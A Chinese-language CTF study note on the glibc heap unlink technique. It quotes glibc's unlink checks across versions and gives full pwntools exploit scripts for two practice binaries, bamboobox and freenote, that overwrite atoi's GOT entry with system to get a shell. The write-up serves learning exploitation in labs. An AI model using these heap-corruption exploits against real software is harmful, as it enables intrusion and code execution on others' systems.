Unlink学习总结
Unlink
本文参考了CTF-wiki 和glibc 源码
原理:
我们在利用 unlink 所造成的漏洞时，其实就是借助 unlink 操作来达成修改指针的效果。
我们先来简单回顾一下 unlink 的目的与过程，其目的是把一个双向链表中的空闲块拿出来，然后和前后物理相邻的 free chunk 进行合并。其基本的过程如下
类似于我们学数据结构时学的从双向链表中删除一个节点的操作。
古老的 unlink
在最初 unlink 实现的时候，其实是没有对双向链表检查的，也就是说，没有以下的代码
//检查p的 size 是否等于物理相邻的后一个chunk的 pre_size
if (chunksize (p) != prev_size (next_chunk (p)))
malloc_printerr ("corrupted size vs. prev_size");
//检查p和其前后的chunk是否构成双向链表
if (__builtin_expect (fd->bk != p || bk->fd != p, 0))
malloc_printerr ("corrupted double-linked list");
//只有large bin 才进行次检查
//检查p和其前后的large chunk的nextsize域是否构成双向链表
if (p->fd_nextsize->bk_nextsize != p
|| p->bk_nextsize->fd_nextsize != p)
malloc_printerr ("corrupted double-linked list (not small)");
这里我们以 32 位为例，假设堆内存最初的布局是下面的样子
如果我们通过某种方式（比如溢出）将 nextchunk 的 fd 和 bk 指针修改为指定的值。则当我们free(Q)时
- glibc 判断这个块是 small chunk。
- 判断前向合并，发现前一个 chunk 处于使用状态，不需要前向合并。
- 判断后向合并，发现后一个 chunk 处于空闲状态，需要合并。
- 继而对 nextchunk 采取 unlink 操作。
那么 unlink 具体执行的效果是什么样子呢？我们用P来表示当前的chunk(也就是先被free的chunk),可以来分析一下
- FD=P->fd = target addr -12
- BK=P->bk = expect value
- FD->bk = BK，即 *(target addr-12+12) = expect value
- BK->fd = FD，即*(expect value +8) = target addr-12
看起来我们似乎可以通过 unlink 直接实现任意地址写入的目的，但是我们还是需要确保 expect value +8 地址具有可写的权限。
比如说我们将 target addr 设置为某个 got 表项，那么当程序调用对应的 libc 函数时，就会直接执行我们设置的值（expect value）处的代码。需要注意的是，expect value+8 处的值可能没有写入权限，执行BK->fd = FD回报错，需要想办法绕过。
当前的 unlink
我们刚才考虑的是没有检查的情况，但是一旦加上检查，就没有这么简单了。我们看一下对 fd 和 bk 的检查
//检查p和其前后的chunk是否构成双向链表
if (__builtin_expect (fd->bk != p || bk->fd != p, 0))
malloc_printerr ("corrupted double-linked list");
此时
- FD->bk = *(target addr - 12 +12)=*(target_addr) != p
- BK->fd = *(expect value + 8) != p
那么我们上面所利用的修改 GOT 表项的方法就可能不可用了。
但是，如果我们使得 expect value+8 以及 target_addr 等于 p，那么我们就可以执行
-
expect value = p - 8
-
target addr = p
-
FD->bk = BK，即 *(p-12+12) = *p =p-8
-
BK->fd = FD，即 *(p-8 +8) = *p = p-12
这样可以通过检查，即改写了指针 p 的内容，将其指向了比自己低 12 的地址处。
此外，其实如果我们设置next chunk 的 fd 和 bk 均为 nextchunk 的地址也是可以绕过上面的检测的。但是这样的话，并不能达到修改指针内容的效果。
-
FD = p->fd = p
-
BK = p->bk = p
-
FD->bk = *(p +12) = p
-
BK->fd = *(p + 8) = p
不同版本的unlink对比
glib 2.23
/* Take a chunk off a bin list */
#define unlink(AV, P, BK, FD) {
FD = P->fd;
BK = P->bk;
//检查p和其前后的chunk是否构成双向链表
if (__builtin_expect (FD->bk != P || BK->fd != P, 0))
malloc_printerr (check_action, "corrupted double-linked list", P, AV);
else
{
FD->bk = BK;
BK->fd = FD;
//一般的unlink到这里就结束了,只有是large bin范围，才继续执行下面的代码。
//如果 p 在largebin的范围 且 p->fd_nextsize不为空
if (!in_smallbin_range (P->size) && __builtin_expect (P->fd_nextsize != NULL, 0))
{
//检查p和其前后的large chunk的nextsize域是否构成双向链表
if (__builtin_expect (P->fd_nextsize->bk_nextsize != P, 0) || __builtin_expect (P->bk_nextsize->fd_nextsize != P, 0))
malloc_printerr (check_action,"corrupted double-linked list (not small)",P, AV);
if (FD->fd_nextsize == NULL) {
if (P->fd_nextsize == P)
FD->fd_nextsize = FD->bk_nextsize = FD;
else
{
FD->fd_nextsize = P->fd_nextsize;
FD->bk_nextsize = P->bk_nextsize;
P->fd_nextsize->bk_nextsize = FD;
P->bk_nextsize->fd_nextsize = FD;
}
}
else
{
P->fd_nextsize->bk_nextsize = P->bk_nextsize;
P->bk_nextsize->fd_nextsize = P->fd_nextsize;
}
}
}
}
glibc 2.27
#define unlink(AV, P, BK, FD)
{
//检查p的 size 是否等于物理相邻的后一个chunk的 pre_size
if (__builtin_expect (chunksize(P) != prev_size (next_chunk(P)), 0))
malloc_printerr ("corrupted size vs. prev_size");
FD = P->fd;
BK = P->bk;
if (__builtin_expect (FD->bk != P || BK->fd != P, 0))
malloc_printerr ("corrupted double-linked list");
else
{
FD->bk = BK;
BK->fd = FD;
if (!in_smallbin_range (chunksize_nomask (P)) && __builtin_expect (P->fd_nextsize != NULL, 0))
{
if (__builtin_expect (P->fd_nextsize->bk_nextsize != P, 0)|| __builtin_expect (P->bk_nextsize->fd_nextsize != P, 0))
malloc_printerr ("corrupted double-linked list (not small)");
if (FD->fd_nextsize == NULL)
{
if (P->fd_nextsize == P)
FD->fd_nextsize = FD->bk_nextsize = FD;
else
{
FD->fd_nextsize = P->fd_nextsize;
FD->bk_nextsize = P->bk_nextsize;
P->fd_nextsize->bk_nextsize = FD;
P->bk_nextsize->fd_nextsize = FD;
}
}
else
{
P->fd_nextsize->bk_nextsize = P->bk_nextsize;
P->bk_nextsize->fd_nextsize = P->fd_nextsize;
}
}
}
}
glibc 2.29
static void unlink_chunk (mstate av, mchunkptr p)
{
if (chunksize (p) != prev_size (next_chunk (p)))
malloc_printerr ("corrupted size vs. prev_size");
mchunkptr fd = p->fd;
mchunkptr bk = p->bk;
if (__builtin_expect (fd->bk != p || bk->fd != p, 0))
malloc_printerr ("corrupted double-linked list");
fd->bk = bk;
bk->fd = fd;
if (!in_smallbin_range (chunksize_nomask (p)) && p->fd_nextsize != NULL)
{
if (p->fd_nextsize->bk_nextsize != p || p->bk_nextsize->fd_nextsize != p)
malloc_printerr ("corrupted double-linked list (not small)");
if (fd->fd_nextsize == NULL)
{
if (p->fd_nextsize == p)
fd->fd_nextsize = fd->bk_nextsize = fd;
else
{
fd->fd_nextsize = p->fd_nextsize;
fd->bk_nextsize = p->bk_nextsize;
p->fd_nextsize->bk_nextsize = fd;
p->bk_nextsize->fd_nextsize = fd;
}
}
else
{
p->fd_nextsize->bk_nextsize = p->bk_nextsize;
p->bk_nextsize->fd_nextsize = p->fd_nextsize;
}
}
}
glibc 2.23
-
检查p和其前后的chunk是否构成双向链表
-
检查p和其前后的large chunk的nextsize域是否构成双向链表
glibc 2.27 2.29 新增加一下保护
- 检查p的 size 是否等于物理相邻的后一个chunk的 pre_size
为了加深印象，我们做几道题目
例子
hitcontraining_unlink
本题的环境是ubuntu 16，也就是说glibc版本为2.23
首先检查一下保护
增删改查，典型的堆题
IDA 分析
main函数，申请了一块空间，存了2个函数指针，分别是hello_message和goodbye_message
add存在off_by_null漏洞
edit 没有对输入的length做检查，导致堆溢出
delete 没有漏洞
show 展示所有item的内容
这里还有个后门？
初步分析这题目存在堆溢出，我们可以修改fd,bk的值。我们可以想到的是使用fastbin attack 但是为了练习unlink，我们这里使用unlink攻击
- fastbin attack利用后门
add(0x21,'AAAAA')#0 为了溢出修改1
add(0x18,'BBBBB')#1
add(0x18,'CCCC') #2
delete(2)
delete(1) #fastbin -> 1 -> 2
payload = 'A'*0x28+p64(0x21) #修改1的fd指针，指向main开始时申请的内存地址
edit(0,len(payload),payload)
add(0x18,'AAA')
backdoor = 0x0400D49
add(0x18,p64(0)+p64(backdoor)) #将其第二个指针修改为backdoor的地址.
p.sendlineafter('Your choice:','5')
-
fastbin attack(house of force)劫持atoi_got
add(0x21,'AAAAA')#0 为了溢出修改1 add(0x18,'BBBBB')#1 delete(1) #fastbin -> 1 payload = 'A'*0x28+p64(0x21)+p64(0x06020C0 - 0x8) edit(0,len(payload),payload) #fastbin -> 1 -> itemlist-8 add(0x18,'AAA') add(0x18,p64(elf.got['atoi'])) #修改itemlist[0]->ptr 指针指向atoi_got show() #泄漏libc地址 p.recvuntil('0 : ') atoi = u64(p.recv(6).ljust(8,'\x00')) libc_base = atoi - libc.symbols['atoi'] system = libc_base + libc.symbols['system'] edit(0,8,p64(system))#往atoi_got写入system地址 p.sendlineafter('Your choice:','/bin/sh\x00') -
unlink
#coding:utf-8 from pwn import * context.log_level = 'debug' p = process('./bamboobox') elf = ELF('./bamboobox') libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') def add(size,content): p.sendlineafter('Your choice:','2') p.sendlineafter('name:',str(size)) p.sendafter('item:',content) def show(): p.sendlineafter('Your choice:','1') def edit(idx,size,content): p.sendlineafter('Your choice:','3') p.sendafter('item:',str(idx)) p.sendlineafter('name:',str(size)) p.sendafter('item:',content) def delete(idx): p.sendlineafter('Your choice:','4') p.sendafter('item:',str(idx)) itemlist0_ptr = 0x6020C0+8 add(0x40,'A' * 8)#0 add(0x80,'B' * 8)#1 add(0x80,'C' * 8)#2 #这里我们绕过第一个检查 (检查p和其前后的chunk是否构成双向链表) fake_chunk = p64(0) + p64(0x41) #fake_chunk header fake_chunk += p64(itemlist0_ptr-0x18) + p64(itemlist0_ptr-0x10) #fake_chunk fd bk fake_chunk += 'C'*0x20 fake_chunk += p64(0x40) # 1的presize fake_chunk += p64(0x90) # 1的size edit(0,0x80,fake_chunk) ''' 这里用p指代itemlist0_ptr FD = p -> fd = p - 0x18 BK = p -> bk = p - 0x10 FD -> bk = p BK -> fd = p #通过检查 FD -> bk = BK 相当于 *(p) = p-0x10 BK -> fd = FD 相当于 *(p) = p-0x18 我们把p的值改为了p的地址-0x18,使得p的值不再是堆的地址，而是itemlist附近的地址。 ''' delete(1) #前向合并，合并0中的fake_chunk 放入 unsorted bin 中 ,同时 itemlist0_ptr = &itemlist0_ptr -0x18 payload = p64(0) * 2 payload += p64(0x40) + p64(elf.got['atoi']) #覆盖的itemlist[0]->ptr 为atoi_got edit(0,0x80,payload) show() p.recvuntil('0 : ') atoi = u64(p.recv(6).ljust(8,'\x00')) libc_base = atoi - libc.symbols['atoi'] system = libc_base + libc.symbols['system'] edit(0,8,p64(system)) p.sendlineafter('Your choice:','/bin/sh\x00') p.interactive()
jarvisoj_level6_x64
首先检查保护
IDA分析
首先程序先malloc了一块地址,把一开始的地方填入0x100,0，剩下的全部清零
增删改查，典型的堆题
add函数，申请0x80字节大小对齐的堆块，然后在heaparray中做相应的记录
edit函数，如果输入的size与heaparray中记录的不同，这调用realloc函数。
show 没啥好说，就是heaparray中每个记录项打印出来
free函数，存在double free的漏洞，因为没有清零，且没有对heaparray中的inuse进行校验。
#coding:utf-8
from pwn import *
context.log_level = 'debug'
p = process('./freenote_x64')
elf = ELF('./freenote_x64')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
def add(size,content):
p.sendlineafter('Your choice: ','2')
p.sendlineafter('note: ',str(size))
p.sendafter('note: ',content)
def show():
p.sendlineafter('Your choice: ','1')
def edit(idx,size,content):
p.sendlineafter('Your choice: ','3')
p.sendlineafter('number: ',str(idx))
p.sendlineafter('note: ',str(size))
p.sendafter('note: ',content)
def delete(idx):
p.sendlineafter('Your choice: ','4')
p.sendlineafter('number: ',str(idx))
#----------leak heap and libc --------------#
add(0x80,'A'*0x80)#
add(0x80,'B'*0x80)#1
add(0x80,'C'*0x80)#
add(0x80,'D'*0x80)#3
delete(0)
delete(2) #在unsorted bin中形成双向链表
add(0x8,'A'*0x8)#0
add(0x8,'C'*0x8)#2
show()
p.recvuntil('AAAAAAAA')
heap = u64(p.recvuntil('\n',drop=True).ljust(8,'\x00'))-0x1940
print 'heap: '+hex(heap)
p.recvuntil('CCCCCCCC')
libc_base = u64(p.recvuntil('\n',drop=True).ljust(8,'\x00'))-0x3c4b78
print 'libc_base: '+hex(libc_base)
#------------------unlink---------------------------------#
delete(0)
delete(1) #合并0，1块
chunk0_ptr = heap + 0x30
payload = p64(0)+p64(0x81)
payload += p64(chunk0_ptr-0x18)+p64(chunk0_ptr-0x10)
payload = payload.ljust(0x80,'\x00')
payload += p64(0x80)+p64(0x90)
payload = payload.ljust(0x100,'\x00')
add(0x100,payload)
delete(1) #double free 触发unlink
#----------------改写 atoi_got -----------------#
payload = p64(0x2)+p64(0x1)+p64(0x8)+p64(elf.got['atoi'])
payload = payload.ljust(0x100,'\x00')
edit(0,0x100,payload)#改写heaparray[0]-> ptr 使其指向atoi_got
edit(0,0x8,p64(libc_base + libc.symbols['system']))#改写atoi_got为system的值
p.sendlineafter('Your choice: ','/bin/sh\x00')
p.interactive()
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